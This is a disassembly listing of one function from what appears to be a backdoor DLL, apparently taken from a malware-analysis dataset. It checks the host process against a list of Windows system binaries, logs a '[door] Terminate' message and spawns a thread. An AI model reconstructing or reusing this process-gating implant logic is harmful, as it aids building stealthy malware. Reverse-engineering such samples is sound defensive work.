Function at 0x10001af0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push esi
push edi
jne 0x1000201f
xor eax, eax
push 0x40e
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
call sub.MSVCR120.dll_memset
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x418], 0
push eax
call dword [sym.imp.MSVCR120.dll__time32]
push str.korean
push 0
call dword [sym.imp.MSVCR120.dll__wsetlocale]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add esp, 0x18
call esi
mov edi, eax
lea eax, [ebp - 0x418]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x1000201f
cmp dword [ebp - 0x418], 0
mov esi, dword [sym.imp.MSVCR120.dll__wcsicmp]
jbe 0x1000201f
lea ecx, [ebp - 0x414]
call fcn.100017a0
test eax, eax
js 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_winlogon.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_csrss.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_logonui.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_dwm.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_mmc.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_mmc.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_System32_InputMethod_KOR_KorIME.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_rundll32.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_rundll32.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_userinit.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_userinit.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_atbroker.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_atbroker.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_TSTheme.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_TSTheme.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_SearchProtocolHost.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_SearchProtocolHost.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_taskhost.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_taskhostex.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_taskmgr.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_ctfmon.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_ctfmon.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_DllHost.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_DllHost.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_Netplwiz.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_Netplwiz.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_inetsrv_inetMgr.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_calc.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_calc.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_system32_colorcpl.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Windows_SysWOW64_colorcpl.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Program_Files_Penta_Systems_ACRA_Point_Captin.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
lea eax, [ebp - 0x414]
push str.C:_Program_Files_x86__Penta_Systems_ACRA_Point_Captin.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001f08
mov ecx, dword [ebp - 0x41c]
lea eax, [ebp - 0x414]
push eax
push dword [ebp - 0x418]
mov edx, edi
call fcn.10001690
add esp, 8
test eax, eax
jne 0x10001f08
lea eax, [ebp - 0x414]
push eax
push edi
push 0x347
push str._door.Terminate:_d___d__s
call fcn.100012a0
add esp, 0x10
mov ecx, edi
call fcn.10001ac0
cmp dword [ebp - 0x418], 0
jbe 0x1000201f
lea ecx, [ebp - 0x414]
call fcn.100017a0
test eax, eax
js 0x10001fa7
lea ecx, [ebp - 0x414]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001f31
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.MSVCR120.dll__wcslwr_s]
lea eax, [ebp - 0x414]
push str.c:_windows_system32_cmd.exe
push eax
call esi
add esp, 0x10
test eax, eax
je 0x10001fa7
lea eax, [ebp - 0x414]
push str.c:_windows_system32_conhost.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x10001fa7
mov edi, dword [sym.imp.MSVCR120.dll_wcsstr]
lea eax, [ebp - 0x414]
push str.c:_windows_system32_windowspowershell_
push eax
call edi
add esp, 8
test eax, eax
je 0x10001fa7
lea eax, [ebp - 0x414]
push str.powershell.exe
push eax
call edi
add esp, 8
cmp dword [ebp - 0x418], 0
jbe 0x1000201f
lea ecx, [ebp - 0x414]
call fcn.100017a0
test eax, eax
js 0x1000201f
lea ecx, [ebp - 0x414]
lea edx, [ecx + 2]
jmp 0x10001fd0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001fd0
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.MSVCR120.dll__wcslwr_s]
lea eax, [ebp - 0x414]
push str.c:_windows_explorer.exe
push eax
call esi
add esp, 0x10
test eax, eax
jne 0x1000201f
lea eax, [ebp - 0x420]
push eax
push 0
push 0
push 0x10001aa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.1000249e
mov esp, ebp
pop ebp
ret 0xc